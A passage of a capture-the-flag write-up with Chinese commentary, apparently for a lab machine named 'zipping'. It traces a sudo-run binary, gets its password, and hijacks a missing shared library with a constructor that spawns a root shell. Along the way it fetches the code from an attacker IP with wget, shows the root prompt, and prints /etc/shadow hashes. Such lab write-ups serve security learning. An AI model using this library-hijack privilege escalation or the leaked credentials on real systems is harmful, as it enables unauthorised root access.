newfstatat(0, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0
write(1, "Enter the password: ", 20Enter the password: ) = 20
read(0, St0ckM4nager
St0ckM4nager
"St0ckM4nager\n", 1024) = 13
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
write(1, "\n================== Menu ======="..., 44
================== Menu ==================
) = 44
write(1, "\n", 1
) = 1
write(1, "1) See the stock\n", 171) See the stock
) = 17
write(1, "2) Edit the stock\n", 182) Edit the stock
) = 18
write(1, "3) Exit the program\n", 203) Exit the program
) = 20
write(1, "\n", 1
) = 1
write(1, "Select an option: ", 18Select an option: ) = 18
read(0, 1
1
"1\n", 1024) = 2
openat(AT_FDCWD, "/root/.stock.csv", O_RDONLY) = -1 EACCES (Permission denied)
write(1, "You do not have permissions to r"..., 44You do not have permissions to read the file) = 44
lseek(0, -1, SEEK_CUR) = -1 ESPIPE (Illegal seek)
exit_group(1) = ?
+++ exited with 1 +++
rektsu@zipping:/var/www/html/shop$
可以看到,整个程序运行的时候,引入了 /home/rektsu/.config/libcounter.so
这个文件
maybe,我们可以做一些劫持
priv-esclation.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void method()__attribute__((constructor));
void method() {
system("/bin/bash -i");
}
#到目标机器上去执行
wget 10.10.16.5/priv-esclation.c
gcc -shared -fpic -o /home/rektsu/.config/libcounter.so priv-esclation.c
rektsu@zipping:/home/rektsu/.config$ gcc -shared -fpic -o /home/rektsu/.config/libcounter.so bash.c
< -fpic -o /home/rektsu/.config/libcounter.so priv-esclation.c
bash.c: In function ‘method’:
bash.c:6:13: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
6 | system("/bin/bash -i");
| ^~~~~~
rektsu@zipping:/home/rektsu/.config$ sudo /usr/bin/stock
sudo /usr/bin/stock
Enter the password: St0ckM4nager
St0ckM4nager
root@zipping:/home/rektsu/.config# id
id
uid=0(root) gid=0(root) groups=0(root)
root@zipping:/home/rektsu/.config# whoami
whoami
root
root:$y$j9T$IYa44JPNfCWV4rqT1W1Kj/$xiHZCNOyiAOLgnHZ06gdF9jWPNR9ixmhsCwFu0Hgy9/:19548:0:99999:7:::
rektsu:$y$j9T$wWBMg/LAoOoUB448jkabg.$8ivoFrxatQTk89/GmgCMdoByo9a1o.l8GK/Xo8BnwT3:19548:0:99999:7:::